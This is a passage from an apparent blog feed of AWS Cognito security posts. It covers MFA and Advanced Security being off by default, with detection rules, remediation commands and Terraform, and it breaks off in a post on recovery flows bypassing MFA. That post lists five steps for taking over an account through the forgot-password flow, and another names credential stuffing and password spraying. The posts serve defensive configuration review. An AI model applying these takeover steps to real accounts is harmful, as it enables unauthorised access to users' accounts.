&lt;p&gt;This vulnerability has been in your configuration since the first developer added &lt;code&gt;http://localhost:3000/callback&lt;/code&gt; to test the OAuth flow. It's been there for months or years. The fix is removing one URL from a list. It takes thirty seconds.&lt;/p&gt;

&lt;p&gt;The compound consisting of open redirect + irrevocable tokens + admin scope escalates a thirty-second fix into a career-defining incident. The difference between "we removed a dev URL" and "we had a persistent privileged account takeover chain in production for eighteen months" is whether someone checked the interaction between five app client settings that each looked reasonable on their own.&lt;/p&gt;

&lt;p&gt;Your scanner checked each one. It said four of five were fine. The fifth was a MEDIUM. The compound is a CRITICAL. The fix is thirty seconds.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The scenarios in this article are modeled on real configurations found in bug bounty programs and OAuth security assessments. The analysis uses &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt;, an open-source static analysis tool that evaluates cloud configurations via CEL predicates and exports standardized facts for consumption by external reasoning engines from air-gapped snapshots without cloud credentials.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>security</category>
      <category>cognito</category>
      <category>oauth</category>
    </item>
    <item>
      <title>Cognito With the Safety Off: MFA Disabled, Advanced Security Disabled</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Sun, 13 Sep 2026 12:30:45 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/cognito-with-the-safety-off-mfa-disabled-advanced-security-disabled-4i14</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/cognito-with-the-safety-off-mfa-disabled-advanced-security-disabled-4i14</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A Cognito user pool is an identity perimeter. The pool authenticates customers, issues JWTs the application trusts, and brokers federation to social identity providers. Whatever else the application does for security such as encryption-at-rest, network isolation, audit logging has the user pool decide whether &lt;em&gt;this session&lt;/em&gt; gets to call the API at all.&lt;/p&gt;

&lt;p&gt;By default, when you create a Cognito user pool through the console or via &lt;code&gt;aws cognito-idp create-user-pool&lt;/code&gt;, two settings are off:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MfaConfiguration: OFF&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UserPoolAddOns.AdvancedSecurityMode: OFF&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both defaults look small in the console with checkboxes you can flip later. Both defaults are how the bomma report on HackerOne and a long tail of similar disclosures end up shipped to production. The one that gets fixed quickly is MFA. The one that frequently doesn't is Advanced Security.&lt;/p&gt;

&lt;h2&gt;
  
  
  What "MFA Off" Costs You
&lt;/h2&gt;

&lt;p&gt;The single-factor configuration looks like this in the observation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"identity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user_pool"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"auth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"mfa_enforced"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"mfa_configuration"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OFF"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"advanced_security"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;mfa_configuration: OFF&lt;/code&gt; means: passwords alone authenticate. Three attack patterns become trivial:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential stuffing.&lt;/strong&gt; Attackers buy email/password pairs from data-breach dumps. Each pair tests against the application's Cognito sign-in. Attempts that succeed land in valid sessions; the application has no way to tell a credentialed attacker apart from the legitimate user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Password spraying.&lt;/strong&gt; A reverse pattern where the attacker takes one weak password (&lt;code&gt;Summer2025!&lt;/code&gt;, &lt;code&gt;Welcome2026!&lt;/code&gt;) and tries it against thousands of known-valid usernames. Cognito's per-user lockout fires on the wrong threshold (multiple failures against &lt;em&gt;one&lt;/em&gt; account); a one-failure-per-account spray walks right past it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phishing-recovered passwords.&lt;/strong&gt; A successful phishing campaign yields the user's password. With MFA off, that's the entire authentication factor; the attacker signs in directly.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;advanced_security: enabled: false&lt;/code&gt; is the layer that &lt;em&gt;would&lt;/em&gt; catch these. Cognito's Advanced Security features run a risk model on each sign-in attempt (unusual location, impossible travel, known compromised credentials from external feeds) and either challenge the user with MFA, block the sign-in, or notify the user. With it off, none of that runs. The risk model that AWS built into the service is feature-flagged behind a paywall the operator chose not to pay.&lt;/p&gt;

&lt;h2&gt;
  
  
  What The Bomma Report Showed
&lt;/h2&gt;

&lt;p&gt;Bomma's HackerOne report described an account-takeover chain that started with two configuration choices:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user pool used &lt;strong&gt;email as the username alias&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The user pool &lt;strong&gt;did not require email verification on change&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Together these mean: an attacker who can update a victim's email (via a separate flaw, e.g., parameter pollution in a profile-update endpoint) can change the victim's email to one the attacker controls, then reset the password using the standard "forgot password" flow.&lt;/p&gt;

&lt;p&gt;MFA-off  made the password reset &lt;em&gt;also&lt;/em&gt; the session takeover. With MFA on, the attacker would need the victim's MFA factor too and the attacker doesn't have it. With Advanced Security on, the unusual-location sign-in that follows the password reset would have challenged the attacker for additional verification. With both off, the password reset is the breach.&lt;/p&gt;

&lt;p&gt;The other Cognito attributes (&lt;code&gt;email_change_verification_enforced: false&lt;/code&gt;, &lt;code&gt;alias_attributes: ["email"]&lt;/code&gt;) are the upstream contributors. The &lt;code&gt;CTL.COGNITO.INCOMPLETE.001&lt;/code&gt; control catches that exact shape. This article focuses on the MFA leg of the cluster because MFA is the simplest, highest-leverage fix.&lt;/p&gt;

&lt;h2&gt;
  
  
  The System Invariant
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Customer-facing Cognito user pools must enforce MFA.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The phrasing is intentional. Internal-only pools (for back-office tools used only by employees with separate SSO) sometimes legitimately disable MFA at the pool level because the upstream IdP enforces it. That carve-out is enumerated by &lt;code&gt;scope_tags&lt;/code&gt; on the asset; the control fires by default and consumers opt out at the pool level when the carve-out applies.&lt;/p&gt;

&lt;p&gt;In Stave's observation schema:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:cognito-idp:us-east-1:111122223333:userpool/us-east-1_acmeApp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"aws_cognito_user_pool"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"properties"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"identity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user_pool"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"auth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"mfa_enforced"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"mfa_configuration"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OFF"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"advanced_security"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;mfa_enforced&lt;/code&gt; is the engine's verdict (&lt;code&gt;true&lt;/code&gt; only when &lt;code&gt;MfaConfiguration&lt;/code&gt; is &lt;code&gt;ON&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; at least one second factor such as  TOTP or SMS is enabled); &lt;code&gt;advanced_security.enabled&lt;/code&gt; carries the adaptive-auth state.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stave Control
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CTL.COGNITO.MFA.001&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Cognito User Pool Must Enforce MFA&lt;/span&gt;
&lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;high&lt;/span&gt;
&lt;span class="na"&gt;unsafe_predicate&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;all&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.identity.kind&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;user_pool&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.identity.auth.mfa_enforced&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two leaf clauses. Severity is &lt;code&gt;high&lt;/code&gt;. The user pool is a customer-facing perimeter, but the control fires on &lt;em&gt;capability&lt;/em&gt;, not confirmed compromise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Z3 Doesn't Help
&lt;/h2&gt;

&lt;p&gt;The collector observes booleans, the predicate evaluates them. No search space, no quantification.&lt;/p&gt;

&lt;p&gt;A reachability question: "given this pool's app-client configuration, is there an &lt;code&gt;ExplicitAuthFlows&lt;/code&gt; value that bypasses MFA even when &lt;code&gt;MfaConfiguration: ON&lt;/code&gt;?" &lt;em&gt;would&lt;/em&gt; be Z3-shaped. That's checked by &lt;code&gt;CTL.COGNITO.MFA.ENFORCE.001&lt;/code&gt; at the app-client layer. Not in scope here.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reproducing The Detection
&lt;/h2&gt;

&lt;p&gt;The repository ships a self-contained example at &lt;code&gt;stave/examples/cognito-no-mfa-advanced-security/&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;go run ./examples/cognito-no-mfa-advanced-security before
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Captured stdout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== before (MFA off, advanced security off) ===
  status: NON_COMPLIANT   total_assets=1   violations=1
  CTL.COGNITO.MFA.001 fired on 1 asset(s):
    - arn:aws:cognito-idp:us-east-1:111122223333:userpool/us-east-1_acmeApp   severity=high   exposure_score=76.64
  assertion: fires=true (expected) ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After both flags are turned on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== after  (MFA enforced, advanced security on) ===
  status: COMPLIANT   total_assets=1   violations=0
  CTL.COGNITO.MFA.001: no findings
  assertion: fires=false (expected) ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Remediation
&lt;/h2&gt;

&lt;p&gt;Two &lt;code&gt;aws&lt;/code&gt; calls and a Terraform-or-equivalent change for permanence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cognito-idp set-user-pool-mfa-config &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; us-east-1_acmeApp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mfa-configuration&lt;/span&gt; ON &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--software-token-mfa-configuration&lt;/span&gt; &lt;span class="nv"&gt;Enabled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true

&lt;/span&gt;aws cognito-idp update-user-pool &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; us-east-1_acmeApp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-add-ons&lt;/span&gt; &lt;span class="nv"&gt;AdvancedSecurityMode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ENFORCED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Terraform:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_cognito_user_pool"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"acme-customer-portal-pool"&lt;/span&gt;

  &lt;span class="nx"&gt;mfa_configuration&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ON"&lt;/span&gt;
  &lt;span class="nx"&gt;software_token_mfa_configuration&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;enabled&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;user_pool_add_ons&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;advanced_security_mode&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ENFORCED"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;ENFORCED&lt;/code&gt; mode (vs &lt;code&gt;AUDIT&lt;/code&gt;)  turns Advanced Security from "log the risk" into "challenge or block." &lt;code&gt;AUDIT&lt;/code&gt; mode is occasionally the right choice for greenfield rollouts where the team needs to see what the risk model would have done before turning the enforcement on; for steady-state, &lt;code&gt;ENFORCED&lt;/code&gt; is the target.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Prevention Lesson
&lt;/h2&gt;

&lt;p&gt;Three layers, by priority:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Account-creation default.&lt;/strong&gt; The IaC module that creates a Cognito user pool sets &lt;code&gt;mfa_configuration = "ON"&lt;/code&gt; and &lt;code&gt;advanced_security_mode = "ENFORCED"&lt;/code&gt; by default. Pools that legitimately need different settings (back-office tools fronted by SSO, etc.) opt out via an explicit flag the module author has to set deliberately. The default &lt;em&gt;is&lt;/em&gt; the safe configuration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Console-creation guard via SCP.&lt;/strong&gt; Most operators create user pools via the AWS console. A Service Control Policy denies &lt;code&gt;cognito-idp:CreateUserPool&lt;/code&gt; from any non-bootstrap principal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Sid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"DenyConsoleUserPoolCreation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Deny"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cognito-idp:CreateUserPool"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Condition"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ArnNotLike"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"aws:PrincipalArn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::*:role/CognitoAdmin"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The operator who needs a new pool goes through the admin role (which uses the IaC module). Console creation simply isn't available.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;stave apply&lt;/code&gt; in CI&lt;/strong&gt; against the post-deploy observation snapshot. The example shipped with this article is the template. PRs that introduce a user pool with &lt;code&gt;mfa_enforced: false&lt;/code&gt; produce exit code 3.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Customer-facing Cognito user pools have &lt;code&gt;MfaConfiguration: ON&lt;/code&gt; and at least one second factor enabled&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;AdvancedSecurityMode&lt;/code&gt; is &lt;code&gt;ENFORCED&lt;/code&gt; (not &lt;code&gt;OFF&lt;/code&gt;, not stuck in &lt;code&gt;AUDIT&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;[ ] IaC module for user-pool creation sets MFA and Advanced Security as defaults; carve-outs are explicit and reviewed&lt;/li&gt;
&lt;li&gt;[ ] SCP denies console user-pool creation for non-admin principals&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;stave apply&lt;/code&gt; runs in CI against post-deploy observations; PRs with &lt;code&gt;mfa_enforced: false&lt;/code&gt; fail&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The user pool is the perimeter. The MFA flag is the second factor that makes credential theft an incomplete attack. The Advanced Security flag is the layer that catches the credential theft before the second factor matters. Cognito ships both off, and the team that ships them off-by-default ships the bomma vulnerability class with them.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The example at &lt;a href="https://github.com/sufield/stave/tree/main/examples/cognito-no-mfa-advanced-security" rel="noopener noreferrer"&gt;&lt;code&gt;stave/examples/cognito-no-mfa-advanced-security/&lt;/code&gt;&lt;/a&gt; is a self-contained Go program that loads two fixture snapshots, runs &lt;code&gt;pkg/stave.Apply&lt;/code&gt;, asserts that &lt;code&gt;CTL.COGNITO.MFA.001&lt;/code&gt; fires on the MFA-off fixture and is silent on the remediated one, and exits zero when both assertions hold. &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt; detects this pattern and 31 other H1-grounded scenarios from local AWS configuration snapshots, with no cloud credentials.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>aws</category>
      <category>cloud</category>
      <category>appsec</category>
    </item>
    <item>
      <title>Your MFA is Enabled. Your Recovery Flow Bypasses It.</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Sat, 12 Sep 2026 12:16:21 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/your-mfa-iss-enabled-your-recovery-flow-bypasses-it-46k5</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/your-mfa-iss-enabled-your-recovery-flow-bypasses-it-46k5</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Your security team enabled MFA on the Cognito user pool. The compliance dashboard shows green. The SOC 2 auditor checked the box. MFA is deployed.&lt;/p&gt;

&lt;p&gt;Except the account recovery flow doesn't require it. A user who clicks "Forgot password" authenticates with just an email verification code without TOTP, SMS second factor or hardware key. The recovery flow is an unauthenticated path around the MFA your team spent three sprints deploying.&lt;/p&gt;

&lt;p&gt;Your scanner reports "MFA: Enabled." It's telling the truth. It's also missing the point.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the bypass works
&lt;/h2&gt;

&lt;p&gt;Cognito user pools have two authentication paths:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path A: Normal login (MFA enforced)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username + Password → MFA Challenge → TOTP/SMS code → Authenticated session
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is security team configured. This is auditor verified. This works correctly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path B: Account recovery (MFA bypassed)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Forgot password" → Email verification code → New password set → Authenticated session
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No MFA challenge. The user proves they own the email address (a single factor), sets a new password, and gets a fully authenticated session. The MFA enforcement applies to Path A only. Path B is a parallel entry point that skips it.&lt;/p&gt;

&lt;p&gt;An attacker who compromises a user's email (phishing, credential stuffing, email provider breach) can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Go to the app's login page&lt;/li&gt;
&lt;li&gt;Click "Forgot password"&lt;/li&gt;
&lt;li&gt;Receive the verification code at the compromised email&lt;/li&gt;
&lt;li&gt;Set a new password&lt;/li&gt;
&lt;li&gt;Log in without MFA challenge&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The MFA that was supposed to protect the account is never invoked. The attacker has a fully authenticated session with whatever permissions that user's Cognito group grants. This potentially includes IAM role assumption via the identity pool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is worse than "MFA not enabled"
&lt;/h2&gt;

&lt;p&gt;When MFA is not enabled, everyone knows it. The scanner reports it. The risk register lists it. The team plans to fix it.&lt;/p&gt;

&lt;p&gt;When MFA is enabled but bypassable, the organization has false confidence. The scanner says green. The auditor says compliant. The security team moves on to other priorities. Meanwhile, the recovery flow is a wide-open door that nobody is watching because the dashboard says it's locked.&lt;/p&gt;

&lt;p&gt;This is the "MFA is theatre" pattern where security controls that exist but don't protect against the attack path they're supposed to block.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three settings that create the bypass
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
